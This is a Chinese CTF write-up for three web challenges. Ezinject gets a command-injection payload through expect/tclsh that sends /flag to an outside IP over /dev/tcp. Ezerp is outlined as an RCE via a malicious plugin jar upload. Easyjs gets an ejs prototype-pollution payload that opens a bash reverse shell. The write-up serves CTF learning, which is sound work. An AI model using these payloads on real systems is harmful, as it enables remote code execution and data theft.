环境都关了 自己搭个简陋的来测试
参考
https://mp.weixin.qq.com/s/KiP3jU1WghdBXLMDpb3FJQ
Ezinject
./git泄露 githack下载源码下来
这就是个逻辑问题 tmd 当时困住了一会 session我们是无法进行修改的 那么我们就从其逻辑下手 先让ua为空报错 进入到catch中 使其loginOk不为null 为false 那么再次进入try的时候 我们就能直接进入到else中 使loginOk为True从而可以执行命令
这个command我们可控 重点就是讲这里了 他使用的expect命令来执行call.sh
使用的使tclsh来进行解析 和别的bash还是有点不同的
password固定了 那么我们现在就剩这个 port和host还有dir可控了 因为在expect中执行命令需要system开头 那么port就被占用了 我们就剩host和dir了 我们本地进行演示一下 靠 xx test -d xx
能不能执行命令
这样是可以正常执行的 后面的参数对echo来说都是字符串
使用 `` 来当shell执行 这样是可以的 那么我们就构造好了
最终payload
1 2 3 4 5
| command=echo [system '`cat</flag>/dev/tcp/101.42.39.110/3389`'|bash]
cat</flag和cat /flag的效果是一样的 这里我们将获取到的结果 > 到vps上
|
拼接到命令行中
1
| eval spawn ssh -p [system echo test -d '`cat</flag>/dev/tcp/101.42.39.110/3389`'|bash]
|
还有一种解法是使用tclsh的exec方法来执行
https://boogipop.com/2024/01/31/%E7%AC%AC%E4%B8%83%E5%B1%8A%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91Writeup/
ezerp
https://mp.weixin.qq.com/s/KiP3jU1WghdBXLMDpb3FJQ
看这篇文章来进行学习吧 主要是学习人家的思路 动调源码来分析 然后找到官方提供的制造插件的方法 然后伪造一个插件 然后在利用issue上的一个任意文件上传洞 上传恶意构造好的jar包 然后install就能RCE了
主要是学习人家的耐心和动调的思路
(要是让我动调来做的话 估计没有耐心。。。。。。。。。。)
文件上传的题少用bp 因为 paste for file
会损坏文件内容
Easyjs
这个题的话 CTF复现计划群里有docker 直接搭建就行
(早知道当时来看这个题了 当时绑死在那个inject题那了 还没做出……………………….)
用dirsearch扫或者直接看 robots.txt
都是能直接看到路由的
一共是有这四个路由
随便上传文件后 会返回uuid 等会我们就可以根据这个uuid来获取到我们上传的文件
漏洞点就在重命名处 存在路径穿越漏洞
重命名后
然后使用file来进行读取
这个就是sh文件的内容 node /app/index.js
然后再用相同的方法读取该文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132
| var express = require('express'); const fs = require('fs'); var _= require('lodash'); var bodyParser = require("body-parser"); const cookieParser = require('cookie-parser'); var ejs = require('ejs'); var path = require('path'); const putil_merge = require("putil-merge") const fileUpload = require('express-fileupload'); const { v4: uuidv4 } = require('uuid'); const {value} = require("lodash/seq"); var app = express();
global.fileDictionary = global.fileDictionary || {};
app.use(fileUpload());
app.use(bodyParser.urlencoded({ extended: true })); app.use(bodyParser.json());
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
app.use(express.static(path.join(__dirname, 'public')))
app.get('/', (req, res) => { res.render('index'); });
app.get('/index', (req, res) => {
res.render('index'); }); app.get('/upload', (req, res) => { res.render('upload'); });
app.post('/upload', (req, res) => { const file = req.files.file; const uniqueFileName = uuidv4(); const destinationPath = path.join(__dirname, 'uploads', file.name); fs.writeFileSync(destinationPath, file.data); global.fileDictionary[uniqueFileName] = file.name; res.send(uniqueFileName); });
app.get('/list', (req, res) => { res.send(global.fileDictionary); }); app.get('/file', (req, res) => { if(req.query.uniqueFileName){ uniqueFileName = req.query.uniqueFileName filName = global.fileDictionary[uniqueFileName]
if(filName){ try{ res.send(fs.readFileSync(__dirname+"/uploads/"+filName).toString()) }catch (error){ res.send("文件不存在!"); }
}else{ res.send("文件不存在!"); } }else{ res.render('file') } });
app.get('/rename',(req,res)=>{ res.render("rename") }); app.post('/rename', (req, res) => { if (req.body.oldFileName && req.body.newFileName && req.body.uuid){ oldFileName = req.body.oldFileName newFileName = req.body.newFileName uuid = req.body.uuid if (waf(oldFileName) && waf(newFileName) && waf(uuid)){ uniqueFileName = findKeyByValue(global.fileDictionary,oldFileName) console.log(typeof uuid); if (uniqueFileName == uuid){ putil_merge(global.fileDictionary,{[uuid]:newFileName},{deep:true}) if(newFileName.includes('..')){ res.send('文件重命名失败!!!'); }else{ fs.rename(__dirname+"/uploads/"+oldFileName, __dirname+"/uploads/"+newFileName, (err) => { if (err) { res.send('文件重命名失败!'); } else { res.send('文件重命名成功!'); } }); } }else{ res.send('文件重命名失败!'); }
}else{ res.send('哒咩哒咩!'); }
}else{ res.send('文件重命名失败!'); } }); function findKeyByValue(obj, targetValue) { for (const key in obj) { if (obj.hasOwnProperty(key) && obj[key] === targetValue) { return key; } } return null; } function waf(data) { data = JSON.stringify(data) if (data.includes('outputFunctionName') || data.includes('escape') || data.includes('delimiter') || data.includes('localsName')) { return false; }else{ return true; } }
var server = app.listen(8888,function () { var port = server.address().port console.log("http://127.0.0.1:%s", port) });
|
findKeyByValue这个函数存在原型链污染 然后题目还说是ejs 于是猜测是打ejs的原型链污染
https://github.com/mde/ejs/issues/730
在ejs的issue里看到有5个paylaod 题目过滤了三个 那么我们直接挑destructuredLocals
这个来打就行了
最终paylaod
1
| {"oldFileName":"a.txt","newFileName":{"__proto__":{ "destructuredLocals":["__line=__line;global.process.mainModule.require('child_proce ss').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');//"] }},"uuid":"5769140e-b76b-419a-b590-9630f023bdd7"}
|
然后这样就能RCE了 这个环境可能有点问题 没弹上反正